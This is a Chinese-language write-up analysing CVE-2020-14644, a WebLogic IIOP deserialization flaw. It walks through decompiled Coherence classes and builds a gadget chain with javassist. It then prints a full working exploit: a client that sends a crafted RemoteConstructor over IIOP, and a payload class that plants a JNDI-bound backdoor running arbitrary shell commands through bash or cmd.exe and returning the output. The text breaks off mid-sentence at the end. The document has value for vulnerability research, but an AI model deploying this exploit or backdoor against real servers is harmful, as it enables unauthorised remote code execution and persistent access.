1. 程式人生 > >CVE-2020-14644 weblogic iiop反序列化漏洞

CVE-2020-14644 weblogic iiop反序列化漏洞

### 0x00 weblogic 受影響版本 Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 ### 0x01 環境準備 1、安裝weblogic server版本。 2、生成wlfullclient.jar包 安裝weblogic_server可以參考```https://blog.csdn.net/qq_36868342/article/details/79967606```。 wlfullclient可以通過,在安裝完weblogic服務以後,來到```~/Oracle/Middleware/Oracle_Home/wlserver/server/lib```目錄,執行```java -jar ~/Oracle/Middleware/Oracle_Home/wlserver/modules/com.bea.core.jarbuilder.jar```,就會在lib目錄下生成一個wlfullclient.jar包。這個wlfullclient.jar包包含了weblogic的基本所有功能類。 3、在IDEA新建一個工程檔案。把coherence.jar包和wlfullclient.jar包放在同一個目錄下,同時新增到庫裡。 ### 0x02 反序列化gadget分析。 這次iiop的關鍵反序列化類是```RemoteConstructor```。程式碼如下: ```java // // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package com.tangosol.internal.util.invoke; import com.tangosol.io.ClassLoaderAware; import com.tangosol.io.ExternalizableLite; import com.tangosol.io.SerializationSupport; import com.tangosol.io.Serializer; import com.tangosol.io.SerializerAware; import com.tangosol.io.pof.PofReader; import com.tangosol.io.pof.PofWriter; import com.tangosol.io.pof.PortableObject; import com.tangosol.util.Base; import com.tangosol.util.ExternalizableHelper; import java.io.DataInput; import java.io.DataOutput; import java.io.IOException; import java.io.ObjectStreamException; import java.io.Serializable; import java.util.Arrays; import javax.json.bind.annotation.JsonbProperty; public class RemoteConstructor implements ExternalizableLite, PortableObject, SerializationSupport, SerializerAware { @JsonbProperty("definition") protected ClassDefinition m_definition; @JsonbProperty("args") protected Object[] m_aoArgs; private transient Serializer m_serializer; protected transient ClassLoader m_loader; public RemoteConstructor() { } public RemoteConstructor(ClassDefinition definition, Object[] aoArgs) { this.m_definition = definition; for(int i = 0; i < aoArgs.length; ++i) { Object arg = aoArgs[i]; aoArgs[i] = Lambdas.isLambda(arg) ? Lambdas.ensureRemotable((Serializable)arg) : arg; } this.m_aoArgs = aoArgs; } public ClassIdentity getId() { return this.getDefinition().getId(); } public ClassDefinition getDefinition() { return this.m_definition; } public Object[] getArguments() { return this.m_aoArgs; } public T newInstance() { RemotableSupport support = RemotableSupport.get(this.getClassLoader()); return support.realize(this); } protected ClassLoader getClassLoader() { ClassLoader loader = this.m_loader; return loader == null ? Base.getContextClassLoader(this) : loader; } public boolean equals(Object o) { if (!(o instanceof RemoteConstructor)) { return false; } else { RemoteConstructor that = (RemoteConstructor)o; return this == that || this.getClass() == that.getClass() && Base.equals(this.m_definition, that.m_definition) && Base.equalsDeep(this.m_aoArgs, that.m_aoArgs); } } public int hashCode() { int nHash = this.m_definition.hashCode(); nHash = 31 * nHash + Arrays.hashCode(this.m_aoArgs); return nHash; } public String toString() { return "RemoteConstructor{definition=" + this.m_definition + ", arguments=" + Arrays.toString(this.m_aoArgs) + '}'; } public void readExternal(DataInput in) throws IOException { this.m_definition = (ClassDefinition)ExternalizableHelper.readObject(in); Object[] aoArgs = this.m_aoArgs = new Object[ExternalizableHelper.readInt(in)]; for(int i = 0; i < aoArgs.length; ++i) { aoArgs[i] = ExternalizableHelper.readObject(in); } } public void writeExternal(DataOutput out) throws IOException { ExternalizableHelper.writeObject(out, this.m_definition); Object[] aoArgs = this.m_aoArgs; ExternalizableHelper.writeInt(out, aoArgs.length); Object[] var3 = aoArgs; int var4 = aoArgs.length; for(int var5 = 0; var5 < var4; ++var5) { Object o = var3[var5]; ExternalizableHelper.writeObject(out, o); } } public void readExternal(PofReader in) throws IOException { this.m_definition = (ClassDefinition)in.readObject(0); this.m_aoArgs = in.readArray(1, (x$0) -> { return new Object[x$0]; }); } public void writeExternal(PofWriter out) throws IOException { out.writeObject(0, this.m_definition); out.writeObjectArray(1, this.m_aoArgs); } public Object readResolve() throws ObjectStreamException { return this.newInstance(); } public Serializer getContextSerializer() { return this.m_serializer; } public void setContextSerializer(Serializer serializer) { this.m_serializer = serializer; if (serializer instanceof ClassLoaderAware) { this.m_loader = ((ClassLoaderAware)serializer).getContextClassLoader(); } } } ``` ```RemoteConstructor```實現了```ExternalizableLite```介面,```ExternalizableLite```介面繼承了```Serializable```,所以這個RemoteConstructor類是可以進行序列化的。 該類裡沒有readobject函式,但有readResolve函式。詳細瞭解可以參考```https://blog.csdn.net/Leon_cx/article/details/81517603``` 目前總結如下: - 必須實現Serializable介面或Externalizable介面的類才能進行序列化 - transient和static修飾符修飾的成員變數不會參與序列化和反序列化 - 反序列化物件和序列化前的物件的全類名和serialVersionUID必須一致 - 在目標類中新增私有的writeObject和readObject方法可以覆蓋預設的序列化和反序列化方法 - 在目標類中新增私有的readResolve可以最終修改反序列化回來的物件,可用於單例模式防止序列化導致生成第二個物件的問題 readResolve操作是在readobject後面,所以readResolve會覆蓋readobject的內容。 ![](https://tva1.sinaimg.cn/large/007S8ZIlly1ghlo1v60r2j31os0p6wmv.jpg) 檢視下readResolve函式的內容: ```java public Object readResolve() throws ObjectStreamException { return this.newInstance(); } public T newInstance() { RemotableSupport support = RemotableSupport.get(this.getClassLoader()); return support.realize(this); } ``` getClassLoader()程式碼: ```java protected ClassLoader getClassLoader() { ClassLoader loader = this.m_loader; return loader == null ? Base.getContextClassLoader(this) : loader; } ``` 根據RemoteConstructor的建構函式可知。我們先寫個大框架: ```java public class App2 { public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException { /*ClassIdentity classIdentity = new ClassIdentity( org.iiop.test1.class );*/ RemoteConstructor remoteConstructor = new RemoteConstructor( new ClassDefinition(), new Object[]{} ); byte[] serialize= Serializables.serialize(remoteConstructor); try { Serializables.deserialize(serialize); } catch (ClassNotFoundException e) { e.printStackTrace(); } } } ``` 因為this.m_loader是transient修飾的,所以loader會是null,返回的是Base.getContextClassLoader(this)。 ![](https://tva1.sinaimg.cn/large/007S8ZIlly1ghlny3d9efj31b40u04nh.jpg) 看下RemotableSupport裡面的realize方法: ```java public T realize(RemoteConstructor constructor) { ClassDefinition definition = this.registerIfAbsent(constructor.getDefinition()); Class clz = definition.getRemotableClass(); if (clz == null) { synchronized(definition) { clz = definition.getRemotableClass(); if (clz == null) { definition.setRemotableClass(this.defineClass(definition)); } } } Remotable instance = (Remotable)definition.createInstance(constructor.getArguments()); instance.setRemoteConstructor(constructor); return instance; } ``` 第一張圖片的報錯是在registerIfAbsent方法裡,因為ClassDefinition我們定義的是空,所以取到definition.getId()為null。 ```java protected ClassDefinition registerIfAbsent(ClassDefinition definition) { assert definition != null; ClassDefinition rtn = (ClassDefinition)this.f_mapDefinitions.putIfAbsent(definition.getId(), definition); return rtn == null ? definition : rtn; } ``` ![](https://tva1.sinaimg.cn/large/007S8ZIlly1ghlob41n6pj31b40u0avv.jpg) 然後導致(ClassDefinition)this.f_mapDefinitions.putIfAbsent(definition.getId(), definition)報錯了 ![](https://tva1.sinaimg.cn/large/007S8ZIlly1ghloc05mcpj30sc0y6dj9.jpg) 那我們接著看一下ClassDefinition是做啥的,必須給他一個初始化有值的物件,程式碼如下: ```java // // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package com.tangosol.internal.util.invoke; import com.tangosol.io.ExternalizableLite; import com.tangosol.io.pof.PofReader; import com.tangosol.io.pof.PofWriter; import com.tangosol.io.pof.PortableObject; import com.tangosol.util.Base; import com.tangosol.util.ClassHelper; import com.tangosol.util.ExternalizableHelper; import java.io.DataInput; import java.io.DataOutput; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.OutputStream; import java.lang.invoke.MethodHandle; import java.lang.invoke.MethodHandles; import java.lang.invoke.MethodType; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import javax.json.bind.annotation.JsonbProperty; public class ClassDefinition implements ExternalizableLite, PortableObject { protected transient Class m_clz; protected transient MethodHandle m_mhCtor; @JsonbProperty("id") protected ClassIdentity m_id; @JsonbProperty("code") protected byte[] m_abClass; public ClassDefinition() { } public ClassDefinition(ClassIdentity id, byte[] abClass) { this.m_id = id; this.m_abClass = abClass; String sClassName = id.getName(); Base.azzert(sClassName.length() < 65535, "The generated class name is too long:\n" + sClassName); } public ClassIdentity getId() { return this.m_id; } public byte[] getBytes() { return this.m_abClass; } public Class getRemotableClass() { return this.m_clz; } public void setRemotableClass(Class clz) { this.m_clz = clz; Constructor[] aCtor = clz.getDeclaredConstructors(); if (aCtor.length == 1) { try { MethodType ctorType = MethodType.methodType(Void.TYPE, aCtor[0].getParameterTypes()); this.m_mhCtor = MethodHandles.publicLookup().findConstructor(clz, ctorType); } catch (IllegalAccessException | NoSuchMethodException var4) { throw Base.ensureRuntimeException(var4); } } } public Object createInstance(Object... aoArgs) { try { return this.getConstructor(aoArgs).invokeWithArguments(aoArgs); } catch (NoSuchMethodException var10) { Constructor[] aCtors = this.m_clz.getDeclaredConstructors(); Constructor[] var4 = aCtors; int var5 = aCtors.length; for(int var6 = 0; var6 < var5; ++var6) { Constructor ctor = var4[var6]; if (ctor.getParameterTypes().length == aoArgs.length) { try { return ctor.newInstance(aoArgs); } catch (InvocationTargetException | IllegalAccessException | IllegalArgumentException | InstantiationException var9) { } } } throw Base.ensureRuntimeException(var10); } catch (Throwable var11) { throw Base.ensureRuntimeException(var11); } } protected MethodHandle getConstructor(Object[] aoArgs) throws NoSuchMethodException { if (this.m_mhCtor != null) { return this.m_mhCtor; } else { Class[] aParamTypes = ClassHelper.getClassArray(aoArgs); try { MethodType ctorType = MethodType.methodType(Void.TYPE, ClassHelper.unwrap(aParamTypes)); return MethodHandles.publicLookup().findConstructor(this.m_clz, ctorType); } catch (NoSuchMethodException var6) { try { MethodType ctorType = MethodType.methodType(Void.TYPE, aParamTypes); return MethodHandles.publicLookup().findConstructor(this.m_clz, ctorType); } catch (IllegalAccessException var5) { throw Base.ensureRuntimeException(var5); } } catch (IllegalAccessException var7) { throw Base.ensureRuntimeException(var7); } } } public void dumpClass(String sDir) { if (sDir != null) { File dirDump = new File(sDir, this.m_id.getPackage()); boolean fDisabled = dirDump.isFile() || !dirDump.exists() && !dirDump.mkdirs(); if (!fDisabled) { try { OutputStream os = new FileOutputStream(new File(dirDump, this.m_id.getSimpleName() + ".class")); Throwable var5 = null; try { os.write(this.m_abClass); } catch (Throwable var15) { var5 = var15; throw var15; } finally { if (os != null) { if (var5 != null) { try { os.close(); } catch (Throwable var14) { var5.addSuppressed(var14); } } else { os.close(); } } } } catch (IOException var17) { } } } } public boolean equals(Object o) { if (!(o instanceof ClassDefinition)) { return false; } else { ClassDefinition that = (ClassDefinition)o; return this == that || this.getClass() == that.getClass() && Base.equals(this.m_id, that.m_id); } } public int hashCode() { return this.m_id.hashCode(); } public String toString() { return "ClassDefinition{id=" + this.m_id + '}'; } public void readExternal(DataInput in) throws IOException { this.m_id = (ClassIdentity)ExternalizableHelper.readObject(in); this.m_abClass = ExternalizableHelper.readByteArray(in); } public void writeExternal(DataOutput out) throws IOException { ExternalizableHelper.writeObject(out, this.m_id); ExternalizableHelper.writeByteArray(out, this.m_abClass); } public void readExternal(PofReader in) throws IOException { this.m_id = (ClassIdentity)in.readObject(0); this.m_abClass = in.readByteArray(1); } public void writeExternal(PofWriter out) throws IOException { out.writeObject(0, this.m_id); out.writeByteArray(1, this.m_abClass); } } ``` 新框架程式碼如下: ```java public class App2 { public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException { ClassIdentity classIdentity = new ClassIdentity(); ClassDefinition classDefinition = new ClassDefinition( classIdentity, new byte[]{} ); RemoteConstructor remoteConstructor = new RemoteConstructor( classDefinition, new Object[]{} ); byte[] serialize= Serializables.serialize(remoteConstructor); try { Serializables.deserialize(serialize); } catch (ClassNotFoundException e) { e.printStackTrace(); } } } ``` 還是null,說明要對classIdentity也進行賦值初始化,classIdentity的建構函式如下: ```java public ClassIdentity(Class clazz) { this(clazz.getPackage().getName().replace('.', '/'), clazz.getName().substring(clazz.getName().lastIndexOf(46) + 1), Base.toHex(md5(clazz))); } protected ClassIdentity(String sPackage, String sBaseName, String sVersion) { this.m_sPackage = sPackage; this.m_sBaseName = sBaseName; this.m_sVersion = sVersion; } ``` 可知ClassIdentity是一個new class。我們再同目錄下建立一個test1的類。程式碼如下: ```java package org.iiop; public class test1{ static { System.out.println("success"); } } ``` 執行程式碼放在優先順序最高的static裡。 修改程式碼: ```java ClassIdentity classIdentity = new ClassIdentity(org.iiop.test1.class); ClassDefinition classDefinition = new ClassDefinition( classIdentity, new byte[]{} ); ``` definition.getId()終於不是null了。 ![](https://tva1.sinaimg.cn/large/007S8ZIlly1ghlokmai30j31b40u01ge.jpg) 最終來到 ![](https://tva1.sinaimg.cn/large/007S8ZIlly1ghlopmj7m1j31b40u0qsk.jpg) definseClass可以通過```https://xz.aliyun.com/t/2272```學習,我們可以看到sClassName已經是test1的值,但是abClass還是byte[0],按理abClass裡面儲存的應該是test1的bytes值,所以我們需要想辦法把abClass的值改成test1的bytes。一種是反射來修改,一種是看abClass是在哪裡複製的。 這裡我們採取第二種方法,因為```byte[] abClass = definition.getBytes();```通過可知,abClass是通過definition來賦值的,但是definition我們前面在初始化的時候,只給了類名,沒有給bytes,所以我們修改下程式碼。類的操作可以通過javassist庫來進行操作。 程式碼修改如下: ``` ClassIdentity classIdentity = new ClassIdentity(org.iiop.test1.class); ClassPool cp = ClassPool.getDefault(); CtClass ctClass = cp.get(org.iiop.test1.class.getName()); ctClass.replaceClassName(org.iiop.test1.class.getName(), org.iiop.test.class.getName() + "$" + classIdentity.getVersion()); System.out.println(ctClass.toString()); ClassDefinition classDefinition = new ClassDefinition( classIdentity, ctClass.toBytecode() ); ``` 因為之前看到的sClassName是test1$+十六進位制,所以要做個replaceClassName的替換操作。 不替換前: ![](https://tva1.sinaimg.cn/large/007S8ZIlly1ghlp3kk1inj31b40u0k61.jpg) 替換後: ![](https://tva1.sinaimg.cn/large/007S8ZIlly1ghlp44bwcej31b40u017x.jpg) 執行之後: ![](https://tva1.sinaimg.cn/large/007S8ZIlly1ghlp50r3e0j31b40u0tsp.jpg) 成功把test1的內容給執行了,但是還有個報錯。 ```org.iiop.test1$0BC03FF199F8E95021E1281BDFAAA032 cannot be cast to com.tangosol.internal.util.invoke.Remotable```沒有實現Remotable介面,那就改寫下test1。 ```java package org.iiop; import com.tangosol.internal.util.invoke.Remotable; import com.tangosol.internal.util.invoke.RemoteConstructor; public class test1 implements Remotable { static { System.out.println("success"); } @Override public RemoteConstructor getRemoteConstructor() { return null; } @Override public void setRemoteConstructor(RemoteConstructor remoteConstructor) { } } ``` 最終成功,無報錯: ![](https://tva1.sinaimg.cn/large/007S8ZIlly1ghlp6v58jnj31640a8my5.jpg) 基本框架結束以後,在外面套一個T3協議或者iiop傳送出去,即可rce。因為使用的是defineClass所以是可以直接回顯的。 這邊我直接給出UnicodeSec的利用iiop回顯程式碼,其中有個小bug,我修改了一下一點點程式碼: 因為他的邏輯是if(iiopCtx.lookup("UnicodeSec") == null)我在測試過程中發現,因為第一次不存在UnicodeSec一定會是報錯,導致一直不能進入rebind,一直迴圈在if這裡,所以我採用try的方法,其他程式碼不變 ```java package org.iiop; import com.tangosol.internal.util.invoke.ClassDefinition; import com.tangosol.internal.util.invoke.ClassIdentity; import com.tangosol.internal.util.invoke.RemoteConstructor; import javassist.ClassPool; import javassist.CtClass; import weblogic.cluster.singleton.ClusterMasterRemote; import weblogic.jndi.Environment; import javax.naming.Context; import javax.naming.NamingException; import java.rmi.RemoteException; /** * created by UnicodeSec potatso */ public class App { public static void main(String[] args) throws Exception { String text = " ___ ___ ___ ___ __ __ _ _ __ _ _ _ _ \n" + " |__ \\ / _ \\__ \\ / _ \\ /_ /_ | || | / /| || | | || | \n" + " _____ _____ ) | | | | ) | | | |______| || | || |_ / /_| || |_| || |_ _____ ___ __ \n" + " / __\\ \\ / / _ \\ / /| | | |/ /| | | |______| || |__ _| '_ \\__ _|__ _| / _ \\ \\/ / '_ \\ \n" + " | (__ \\ V / __/ / /_| |_| / /_| |_| | | || | | | | (_) | | | | | | __/> <| |_) |\n" + " \\___| \\_/ \\___| |____|\\___/____|\\___/ |_||_| |_| \\___/ |_| |_| \\___/_/\\_\\ .__/ \n" + " | | \n" + " |_| " + " Powered by UnicodeSec potatso "; System.out.println(text); String host = "127.0.0.1"; String port = "7001"; String command = "whoami"; Context iiopCtx = getInitialContext(host, port); try{ iiopCtx.lookup("UnicodeSec"); }catch (Exception e){ ClassIdentity classIdentity = new ClassIdentity(org.iiop.test.class); ClassPool cp = ClassPool.getDefault(); CtClass ctClass = cp.get(org.iiop.test.class.getName()); ctClass.replaceClassName(org.iiop.test.class.getName(), org.iiop.test.class.getName() + "$" + classIdentity.getVersion()); RemoteConstructor constructor = new RemoteConstructor( new ClassDefinition(classIdentity, ctClass.toBytecode()), new Object[]{} ); String bindName = "UnicodeSec" + System.nanoTime(); iiopCtx.rebind(bindName, constructor); } executeCmdFromWLC(command, iiopCtx); } private static void printUsage() { System.out.println("usage: java -jar cve-2020-14644.jar host port command"); System.exit(-1); } private static void executeCmdFromWLC(String command, Context iiopCtx) throws NamingException, RemoteException { ClusterMasterRemote remote = (ClusterMasterRemote) iiopCtx.lookup("UnicodeSec"); String response = remote.getServerLocation(command); System.out.println(response); } public static Context getInitialContext(String host, String port) throws Exception { String url = converUrl(host, port); Environment environment = new Environment(); environment.setProviderUrl(url); environment.setEnableServerAffinity(false); Context context = environment.getInitialContext(); return context; } public static String converUrl(String host, String port) { return "iiop://" + host + ":" + port; } } ``` test的程式碼: ```java package org.iiop; import com.tangosol.internal.util.invoke.Remotable; import com.tangosol.internal.util.invoke.RemoteConstructor; import weblogic.cluster.singleton.ClusterMasterRemote; import javax.naming.Context; import javax.naming.InitialContext; import java.io.BufferedReader; import java.io.InputStreamReader; import java.rmi.RemoteException; import java.util.ArrayList; import java.util.List; public class test implements Remotable, ClusterMasterRemote { static { try { String bindName = "UnicodeSec"; Context ctx = new InitialContext(); test remote = new test(); ctx.rebind(bindName, remote); System.out.println("installed"); } catch (Exception var1) { var1.printStackTrace(); } } public test() { } @Override public RemoteConstructor getRemoteConstructor() { return null; } @Override public void setRemoteConstructor(RemoteConstructor remoteConstructor) { } @Override public void setServerLocation(String var1, String var2) throws RemoteException { } @Override public String getServerLocation(String cmd) throws RemoteException { try { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } List cmds = new ArrayList(); if (isLinux) { cmds.add("/bin/bash"); cmds.add("-c"); cmds.add(cmd); } else { cmds.add("cmd.exe"); cmds.add("/c"); cmds.add(cmd); } ProcessBuilder processBuilder = new ProcessBuilder(cmds); processBuilder.redirectErrorStream(true); Process proc = processBuilder.start(); BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream())); StringBuffer sb = new StringBuffer(); String line; while ((line = br.readLine()) != null) { sb.append(line).append("\n"); } return sb.toString(); } catch (Exception e) { return e.getMessage(); } } } ``` 第一次傳送會報錯,因為在rebind,第二次就會回顯: ![](https://tva1.sinaimg.cn/large/007S8ZIlly1ghlpgwws25j32mc0leacn.jpg) ### 0x03 總結 這是一次相對其他較簡單的gadget分析,需要了解iiop,cobra,反序列化,序列化等相關知識,同時還需要了解javassist和defineClass的